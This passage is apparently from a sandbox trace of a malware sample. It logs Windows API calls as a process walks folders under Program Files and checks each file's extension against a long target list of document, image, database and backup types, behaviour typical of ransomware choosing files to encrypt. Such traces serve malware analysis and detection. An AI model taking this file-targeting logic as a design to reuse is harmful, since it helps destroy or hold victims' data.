cFileName="..", cAlternateFileName="")) returned 1 [0081.532] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0081.538] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.539] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0082.910] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x340f58c | out: lpFindFileData=0x340f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.910] FindNextFileW (in: hFindFile=0x39742f0, lpFindFileData=0x340f58c | out: lpFindFileData=0x340f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93dab239, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x93dab239, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x68934cfd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common.fxh", cAlternateFileName="")) returned 1 [0082.910] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3f2a088 [0082.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974370 [0082.977] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.980] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec183f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ec183f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49c9fe3b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x0, cFileName="16to9Squareframe_Buttongraphic.png", cAlternateFileName="")) returned 1 [0082.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3900088 [0082.981] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974330 [0082.995] FindNextFileW (in: hFindFile=0x3974330, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.995] FindNextFileW (in: hFindFile=0x3974330, lpFindFileData=0x340f094 | out: lpFindFileData=0x340f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0089.751] FindNextFileW (in: hFindFile=0x3974330, lpFindFileData=0x340f58c | out: lpFindFileData=0x340f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0089.751] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned 1 [0089.751] lstrlenW (lpString="1033") returned 4 [0089.751] lstrcmpiW (lpString1="C:\\Windows", lpString2="1033") returned 1 [0089.751] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x39310a8 [0089.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned 47 [0089.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\*", lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3974370 [0090.673] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.673] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x14e98550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x53b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSUI.DLL", cAlternateFileName="")) returned 1 [0090.674] lstrlenW (lpString="ACCDDSUI.DLL") returned 12 [0090.674] lstrlenW (lpString=".1cd") returned 4 [0090.674] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0090.674] lstrlenW (lpString=".3ds") returned 4 [0090.674] lstrcmpiW (lpString1=".3ds", lpString2=".DLL") returned -1 [0090.674] lstrlenW (lpString=".3fr") returned 4 [0090.674] lstrcmpiW (lpString1=".3fr", lpString2=".DLL") returned -1 [0090.674] lstrlenW (lpString=".3g2") returned 4 [0090.674] lstrcmpiW (lpString1=".3g2", lpString2=".DLL") returned -1 [0090.675] lstrlenW (lpString=".3gp") returned 4 [0090.675] lstrcmpiW (lpString1=".3gp", lpString2=".DLL") returned -1 [0090.675] lstrlenW (lpString=".7z") returned 3 [0090.675] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0090.675] lstrlenW (lpString=".accda") returned 6 [0090.675] lstrcmpiW (lpString1=".accda", lpString2="UI.DLL") returned -1 [0090.675] lstrlenW (lpString=".accdb") returned 6 [0090.675] lstrcmpiW (lpString1=".accdb", lpString2="UI.DLL") returned -1 [0090.675] lstrlenW (lpString=".accdc") returned 6 [0090.675] lstrcmpiW (lpString1=".accdc", lpString2="UI.DLL") returned -1 [0090.675] lstrlenW (lpString=".accde") returned 6 [0090.675] lstrcmpiW (lpString1=".accde", lpString2="UI.DLL") returned -1 [0090.675] lstrlenW (lpString=".accdt") returned 6 [0090.675] lstrcmpiW (lpString1=".accdt", lpString2="UI.DLL") returned -1 [0090.675] lstrlenW (lpString=".accdw") returned 6 [0090.675] lstrcmpiW (lpString1=".accdw", lpString2="UI.DLL") returned -1 [0090.675] lstrlenW (lpString=".adb") returned 4 [0090.676] lstrcmpiW (lpString1=".adb", lpString2=".DLL") returned -1 [0090.676] lstrlenW (lpString=".adp") returned 4 [0090.676] lstrcmpiW (lpString1=".adp", lpString2=".DLL") returned -1 [0090.676] lstrlenW (lpString=".ai") returned 3 [0090.676] lstrcmpiW (lpString1=".ai", lpString2="DLL") returned -1 [0090.676] lstrlenW (lpString=".ai3") returned 4 [0090.676] lstrcmpiW (lpString1=".ai3", lpString2=".DLL") returned -1 [0090.676] lstrlenW (lpString=".ai4") returned 4 [0090.676] lstrcmpiW (lpString1=".ai4", lpString2=".DLL") returned -1 [0090.676] lstrlenW (lpString=".ai5") returned 4 [0090.676] lstrcmpiW (lpString1=".ai5", lpString2=".DLL") returned -1 [0090.676] lstrlenW (lpString=".ai6") returned 4 [0090.676] lstrcmpiW (lpString1=".ai6", lpString2=".DLL") returned -1 [0090.676] lstrlenW (lpString=".ai7") returned 4 [0090.676] lstrcmpiW (lpString1=".ai7", lpString2=".DLL") returned -1 [0090.676] lstrlenW (lpString=".ai8") returned 4 [0090.677] lstrcmpiW (lpString1=".ai8", lpString2=".DLL") returned -1 [0090.677] lstrlenW (lpString=".anim") returned 5 [0090.677] lstrcmpiW (lpString1=".anim", lpString2="I.DLL") returned -1 [0090.677] lstrlenW (lpString=".arw") returned 4 [0090.677] lstrcmpiW (lpString1=".arw", lpString2=".DLL") returned -1 [0090.677] lstrlenW (lpString=".as") returned 3 [0090.677] lstrcmpiW (lpString1=".as", lpString2="DLL") returned -1 [0090.677] lstrlenW (lpString=".asa") returned 4 [0090.677] lstrcmpiW (lpString1=".asa", lpString2=".DLL") returned -1 [0090.677] lstrlenW (lpString=".asc") returned 4 [0090.677] lstrcmpiW (lpString1=".asc", lpString2=".DLL") returned -1 [0090.677] lstrlenW (lpString=".ascx") returned 5 [0090.677] lstrcmpiW (lpString1=".ascx", lpString2="I.DLL") returned -1 [0090.677] lstrlenW (lpString=".asm") returned 4 [0090.677] lstrcmpiW (lpString1=".asm", lpString2=".DLL") returned -1 [0090.678] lstrlenW (lpString=".asmx") returned 5 [0090.678] lstrcmpiW (lpString1=".asmx", lpString2="I.DLL") returned -1 [0090.678] lstrlenW (lpString=".asp") returned 4 [0090.678] lstrcmpiW (lpString1=".asp", lpString2=".DLL") returned -1 [0090.678] lstrlenW (lpString=".aspx") returned 5 [0090.678] lstrcmpiW (lpString1=".aspx", lpString2="I.DLL") returned -1 [0090.678] lstrlenW (lpString=".asr") returned 4 [0090.678] lstrcmpiW (lpString1=".asr", lpString2=".DLL") returned -1 [0090.678] lstrlenW (lpString=".asx") returned 4 [0090.678] lstrcmpiW (lpString1=".asx", lpString2=".DLL") returned -1 [0090.678] lstrlenW (lpString=".avi") returned 4 [0090.678] lstrcmpiW (lpString1=".avi", lpString2=".DLL") returned -1 [0090.678] lstrlenW (lpString=".avs") returned 4 [0090.678] lstrcmpiW (lpString1=".avs", lpString2=".DLL") returned -1 [0090.678] lstrlenW (lpString=".backup") returned 7 [0090.678] lstrcmpiW (lpString1=".backup", lpString2="SUI.DLL") returned -1 [0090.678] lstrlenW (lpString=".bak") returned 4 [0090.679] lstrcmpiW (lpString1=".bak", lpString2=".DLL") returned -1 [0090.679] lstrlenW (lpString=".bay") returned 4 [0090.679] lstrcmpiW (lpString1=".bay", lpString2=".DLL") returned -1 [0090.679] lstrlenW (lpString=".bd") returned 3 [0090.679] lstrcmpiW (lpString1=".bd", lpString2="DLL") returned -1 [0090.679] lstrlenW (lpString=".bin") returned 4 [0090.679] lstrcmpiW (lpString1=".bin", lpString2=".DLL") returned -1 [0090.679] lstrlenW (lpString=".bmp") returned 4 [0090.679] lstrcmpiW (lpString1=".bmp", lpString2=".DLL") returned -1 [0090.679] lstrlenW (lpString=".bz2") returned 4 [0090.679] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0090.679] lstrlenW (lpString=".c") returned 2 [0090.679] lstrcmpiW (lpString1=".c", lpString2="LL") returned -1 [0090.679] lstrlenW (lpString=".cdr") returned 4 [0090.679] lstrcmpiW (lpString1=".cdr", lpString2=".DLL") returned -1 [0090.680] lstrlenW (lpString=".cer") returned 4 [0090.680] lstrcmpiW (lpString1=".cer", lpString2=".DLL") returned -1 [0090.680] lstrlenW (lpString=".cf") returned 3 [0090.680] lstrcmpiW (lpString1=".cf", lpString2="DLL") returned -1 [0090.680] lstrlenW (lpString=".cfc") returned 4 [0090.680] lstrcmpiW (lpString1=".cfc", lpString2=".DLL") returned -1 [0090.680] lstrlenW (lpString=".cfm") returned 4 [0090.680] lstrcmpiW (lpString1=".cfm", lpString2=".DLL") returned -1 [0090.680] lstrlenW (lpString=".cfml") returned 5 [0090.680] lstrcmpiW (lpString1=".cfml", lpString2="I.DLL") returned -1 [0090.680] lstrlenW (lpString=".cfu") returned 4 [0090.680] lstrcmpiW (lpString1=".cfu", lpString2=".DLL") returned -1 [0090.680] lstrlenW (lpString=".chm") returned 4 [0090.680] lstrcmpiW (lpString1=".chm", lpString2=".DLL") returned -1 [0090.680] lstrlenW (lpString=".cin") returned 4 [0090.681] lstrcmpiW (lpString1=".cin", lpString2=".DLL") returned -1 [0090.681] lstrlenW (lpString=".class") returned 6 [0090.681] lstrcmpiW (lpString1=".class", lpString2="UI.DLL") returned -1 [0090.681] lstrlenW (lpString=".clx") returned 4 [0090.681] lstrcmpiW (lpString1=".clx", lpString2=".DLL") returned -1 [0090.681] lstrlenW (lpString=".config") returned 7 [0090.681] lstrcmpiW (lpString1=".config", lpString2="SUI.DLL") returned -1 [0090.681] lstrlenW (lpString=".cpp") returned 4 [0090.681] lstrcmpiW (lpString1=".cpp", lpString2=".DLL") returned -1 [0090.681] lstrlenW (lpString=".cr2") returned 4 [0090.681] lstrcmpiW (lpString1=".cr2", lpString2=".DLL") returned -1 [0090.681] lstrlenW (lpString=".crt") returned 4 [0090.681] lstrcmpiW (lpString1=".crt", lpString2=".DLL") returned -1 [0090.681] lstrlenW (lpString=".crw") returned 4 [0090.681] lstrcmpiW (lpString1=".crw", lpString2=".DLL") returned -1 [0090.682] lstrlenW (lpString=".cs") returned 3 [0090.682] lstrcmpiW (lpString1=".cs", lpString2="DLL") returned -1 [0090.682] lstrlenW (lpString=".css") returned 4 [0090.682] lstrcmpiW (lpString1=".css", lpString2=".DLL") returned -1 [0090.682] lstrlenW (lpString=".csv") returned 4 [0090.682] lstrcmpiW (lpString1=".csv", lpString2=".DLL") returned -1 [0090.682] lstrlenW (lpString=".cub") returned 4 [0090.682] lstrcmpiW (lpString1=".cub", lpString2=".DLL") returned -1 [0090.682] lstrlenW (lpString=".dae") returned 4 [0090.682] lstrcmpiW (lpString1=".dae", lpString2=".DLL") returned -1 [0090.682] lstrlenW (lpString=".dat") returned 4 [0090.682] lstrcmpiW (lpString1=".dat", lpString2=".DLL") returned -1 [0090.683] lstrlenW (lpString=".db") returned 3 [0090.683] lstrcmpiW (lpString1=".db", lpString2="DLL") returned -1 [0090.683] lstrlenW (lpString=".dbf") returned 4 [0090.683] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0090.683] lstrlenW (lpString=".dbx") returned 4 [0090.683] lstrcmpiW (lpString1=".dbx", lpString2=".DLL") returned -1 [0090.683] lstrlenW (lpString=".dc3") returned 4 [0090.683] lstrcmpiW (lpString1=".dc3", lpString2=".DLL") returned -1 [0090.683] lstrlenW (lpString=".dcm") returned 4 [0090.683] lstrcmpiW (lpString1=".dcm", lpString2=".DLL") returned -1 [0090.683] lstrlenW (lpString=".dcr") returned 4 [0090.683] lstrcmpiW (lpString1=".dcr", lpString2=".DLL") returned -1 [0090.683] lstrlenW (lpString=".der") returned 4 [0090.683] lstrcmpiW (lpString1=".der", lpString2=".DLL") returned -1 [0090.684] lstrlenW (lpString=".dib") returned 4 [0090.684] lstrcmpiW (lpString1=".dib", lpString2=".DLL") returned -1 [0090.684] lstrlenW (lpString=".dic") returned 4 [0090.684] lstrcmpiW (lpString1=".dic", lpString2=".DLL") returned -1 [0090.684] lstrlenW (lpString=".dif") returned 4 [0090.684] lstrcmpiW (lpString1=".dif", lpString2=".DLL") returned -1 [0090.684] lstrlenW (lpString=".divx") returned 5 [0090.684] lstrcmpiW (lpString1=".divx", lpString2="I.DLL") returned -1 [0090.684] lstrlenW (lpString=".djvu") returned 5 [0090.684] lstrcmpiW (lpString1=".djvu", lpString2="I.DLL") returned -1 [0090.684] lstrlenW (lpString=".dng") returned 4 [0090.684] lstrcmpiW (lpString1=".dng", lpString2=".DLL") returned 1 [0090.684] lstrlenW (lpString=".doc") returned 4 [0090.684] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0090.684] lstrlenW (lpString=".docm") returned 5 [0090.685] lstrcmpiW (lpString1=".docm", lpString2="I.DLL") returned -1 [0090.685] lstrlenW (lpString=".docx") returned 5 [0090.685] lstrcmpiW (lpString1=".docx", lpString2="I.DLL") returned -1 [0090.685] lstrlenW (lpString=".dot") returned 4 [0090.685] lstrcmpiW (lpString1=".dot", lpString2=".DLL") returned 1 [0090.685] lstrlenW (lpString=".dotm") returned 5 [0090.685] lstrcmpiW (lpString1=".dotm", lpString2="I.DLL") returned -1 [0090.685] lstrlenW (lpString=".dotx") returned 5 [0090.685] lstrcmpiW (lpString1=".dotx", lpString2="I.DLL") returned -1 [0090.685] lstrlenW (lpString=".dpx") returned 4 [0090.685] lstrcmpiW (lpString1=".dpx", lpString2=".DLL") returned 1 [0090.685] lstrlenW (lpString=".dqy") returned 4 [0090.686] lstrcmpiW (lpString1=".dqy", lpString2=".DLL") returned 1 [0090.686] lstrlenW (lpString=".dsn") returned 4 [0090.686] lstrcmpiW (lpString1=".dsn", lpString2=".DLL") returned 1 [0090.686] lstrlenW (lpString=".dt") returned 3 [0090.686] lstrcmpiW (lpString1=".dt", lpString2="DLL") returned -1 [0090.686] lstrlenW (lpString=".dtd") returned 4 [0090.686] lstrcmpiW (lpString1=".dtd", lpString2=".DLL") returned 1 [0090.686] lstrlenW (lpString=".dwg") returned 4 [0090.686] lstrcmpiW (lpString1=".dwg", lpString2=".DLL") returned 1 [0090.686] lstrlenW (lpString=".dwt") returned 4 [0090.686] lstrcmpiW (lpString1=".dwt", lpString2=".DLL") returned 1 [0090.686] lstrlenW (lpString=".dx") returned 3 [0090.686] lstrcmpiW (lpString1=".dx", lpString2="DLL") returned -1 [0090.687] lstrlenW (lpString=".dxf") returned 4 [0090.687] lstrcmpiW (lpString1=".dxf", lpString2=".DLL") returned 1 [0090.687] lstrlenW (lpString=".edml") returned 5 [0090.687] lstrcmpiW (lpString1=".edml", lpString2="I.DLL") returned -1 [0090.687] lstrlenW (lpString=".efd") returned 4 [0090.687] lstrcmpiW (lpString1=".efd", lpString2=".DLL") returned 1 [0090.687] lstrlenW (lpString=".elf") returned 4 [0090.687] lstrcmpiW (lpString1=".elf", lpString2=".DLL") returned 1 [0090.687] lstrlenW (lpString=".emf") returned 4 [0090.687] lstrcmpiW (lpString1=".emf", lpString2=".DLL") returned 1 [0090.687] lstrlenW (lpString=".emz") returned 4 [0090.687] lstrcmpiW (lpString1=".emz", lpString2=".DLL") returned 1 [0090.687] lstrlenW (lpString=".epf") returned 4 [0090.687] lstrcmpiW (lpString1=".epf", lpString2=".DLL") returned 1 [0090.687] lstrlenW (lpString=".eps") returned 4 [0090.687] lstrcmpiW (lpString1=".eps", lpString2=".DLL") returned 1 [0090.688] lstrlenW (lpString=".epsf") returned 5 [0090.688] lstrcmpiW (lpString1=".epsf", lpString2="I.DLL") returned -1 [0090.688] lstrlenW (lpString=".epsp") returned 5 [0090.688] lstrcmpiW (lpString1=".epsp", lpString2="I.DLL") returned -1 [0090.688] lstrlenW (lpString=".erf") returned 4 [0090.688] lstrcmpiW (lpString1=".erf", lpString2=".DLL") returned 1 [0090.688] lstrlenW (lpString=".exr") returned 4 [0090.688] lstrcmpiW (lpString1=".exr", lpString2=".DLL") returned 1 [0090.688] lstrlenW (lpString=".f4v") returned 4 [0090.688] lstrcmpiW (lpString1=".f4v", lpString2=".DLL") returned 1 [0090.688] lstrlenW (lpString=".fido") returned 5 [0090.688] lstrcmpiW (lpString1=".fido", lpString2="I.DLL") returned -1 [0090.688] lstrlenW (lpString=".flm") returned 4 [0090.689] lstrcmpiW (lpString1=".flm", lpString2=".DLL") returned 1 [0090.689] lstrlenW (lpString=".flv") returned 4 [0090.689] lstrcmpiW (lpString1=".flv", lpString2=".DLL") returned 1 [0090.689] lstrlenW (lpString=".frm") returned 4 [0090.689] lstrcmpiW (lpString1=".frm", lpString2=".DLL") returned 1 [0090.689] lstrlenW (lpString=".fxg") returned 4 [0090.689] lstrcmpiW (lpString1=".fxg", lpString2=".DLL") returned 1 [0090.689] lstrlenW (lpString=".geo") returned 4 [0090.689] lstrcmpiW (lpString1=".geo", lpString2=".DLL") returned 1 [0090.689] lstrlenW (lpString=".gif") returned 4 [0090.689] lstrcmpiW (lpString1=".gif", lpString2=".DLL") returned 1 [0090.689] lstrlenW (lpString=".grs") returned 4 [0090.689] lstrcmpiW (lpString1=".grs", lpString2=".DLL") returned 1 [0090.690] lstrlenW (lpString=".gz") returned 3 [0090.690] lstrcmpiW (lpString1=".gz", lpString2="DLL") returned -1 [0090.690] lstrlenW (lpString=".h") returned 2 [0090.690] lstrcmpiW (lpString1=".h", lpString2="LL") returned -1 [0090.690] lstrlenW (lpString=".hdr") returned 4 [0090.690] lstrcmpiW (lpString1=".hdr", lpString2=".DLL") returned 1 [0090.690] lstrlenW (lpString=".hpp") returned 4 [0090.690] lstrcmpiW (lpString1=".hpp", lpString2=".DLL") returned 1 [0090.691] lstrlenW (lpString=".hta") returned 4 [0090.691] lstrcmpiW (lpString1=".hta", lpString2=".DLL") returned 1 [0090.691] lstrlenW (lpString=".htc") returned 4 [0090.691] lstrcmpiW (lpString1=".htc", lpString2=".DLL") returned 1 [0090.691] lstrlenW (lpString=".htm") returned 4 [0090.691] lstrcmpiW (lpString1=".htm", lpString2=".DLL") returned 1 [0090.691] lstrlenW (lpString=".html") returned 5 [0090.691] lstrcmpiW (lpString1=".html", lpString2="I.DLL") returned -1 [0090.691] lstrlenW (lpString=".icb") returned 4 [0090.691] lstrcmpiW (lpString1=".icb", lpString2=".DLL") returned 1 [0090.691] lstrlenW (lpString=".ics") returned 4 [0090.691] lstrcmpiW (lpString1=".ics", lpString2=".DLL") returned 1 [0090.691] lstrlenW (lpString=".iff") returned 4 [0090.692] lstrcmpiW (lpString1=".iff", lpString2=".DLL") returned 1 [0090.692] lstrlenW (lpString=".inc") returned 4 [0090.692] lstrcmpiW (lpString1=".inc", lpString2=".DLL") returned 1 [0090.692] lstrlenW (lpString=".indd") returned 5 [0090.692] lstrcmpiW (lpString1=".indd", lpString2="I.DLL") returned -1 [0090.692] lstrlenW (lpString=".ini") returned 4 [0090.692] lstrcmpiW (lpString1=".ini", lpString2=".DLL") returned 1 [0090.692] lstrlenW (lpString=".iqy") returned 4 [0090.692] lstrcmpiW (lpString1=".iqy", lpString2=".DLL") returned 1 [0090.692] lstrlenW (lpString=".j2c") returned 4 [0090.692] lstrcmpiW (lpString1=".j2c", lpString2=".DLL") returned 1 [0090.692] lstrlenW (lpString=".j2k") returned 4 [0090.692] lstrcmpiW (lpString1=".j2k", lpString2=".DLL") returned 1 [0090.692] lstrlenW (lpString=".java") returned 5 [0090.692] lstrcmpiW (lpString1=".java", lpString2="I.DLL") returned -1 [0090.693] lstrlenW (lpString=".jp2") returned 4 [0090.693] lstrcmpiW (lpString1=".jp2", lpString2=".DLL") returned 1 [0090.693] lstrlenW (lpString=".jpc") returned 4 [0090.693] lstrcmpiW (lpString1=".jpc", lpString2=".DLL") returned 1 [0090.693] lstrlenW (lpString=".jpe") returned 4 [0090.693] lstrcmpiW (lpString1=".jpe", lpString2=".DLL") returned 1 [0090.693] lstrlenW (lpString=".jpeg") returned 5 [0090.693] lstrcmpiW (lpString1=".jpeg", lpString2="I.DLL") returned -1 [0090.693] lstrlenW (lpString=".jpf") returned 4 [0090.693] lstrcmpiW (lpString1=".jpf", lpString2=".DLL") returned 1 [0090.693] lstrlenW (lpString=".jpg") returned 4 [0090.693] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0090.693] lstrlenW (lpString=".jpx") returned 4 [0090.693] lstrcmpiW (lpString1=".jpx", lpString2=".DLL") returned 1 [0090.693] lstrlenW (lpString=".js") returned 3 [0090.693] lstrcmpiW (lpString1=".js", lpString2="DLL") returned -1 [0090.693] lstrlenW (lpString=".jsf") returned 4 [0090.694] lstrcmpiW (lpString1=".jsf", lpString2=".DLL") returned 1 [0090.694] lstrlenW (lpString=".json") returned 5 [0090.694] lstrcmpiW (lpString1=".json", lpString2="I.DLL") returned -1 [0090.694] lstrlenW (lpString=".jsp") returned 4 [0090.694] lstrcmpiW (lpString1=".jsp", lpString2=".DLL") returned 1 [0090.694] lstrlenW (lpString=".kdc") returned 4 [0090.694] lstrcmpiW (lpString1=".kdc", lpString2=".DLL") returned 1 [0090.694] lstrlenW (lpString=".kmz") returned 4 [0090.694] lstrcmpiW (lpString1=".kmz", lpString2=".DLL") returned 1 [0090.694] lstrlenW (lpString=".kwm") returned 4 [0090.694] lstrcmpiW (lpString1=".kwm", lpString2=".DLL") returned 1 [0090.694] lstrlenW (lpString=".lasso") returned 6 [0090.694] lstrcmpiW (lpString1=".lasso", lpString2="UI.DLL") returned -1 [0090.694] lstrlenW (lpString=".lbi") returned 4 [0090.694] lstrcmpiW (lpString1=".lbi", lpString2=".DLL") returned 1 [0090.694] lstrlenW (lpString=".lgf") returned 4 [0090.694] lstrcmpiW (lpString1=".lgf", lpString2=".DLL") returned 1 [0090.694] lstrlenW (lpString=".lgp") returned 4 [0090.695] lstrcmpiW 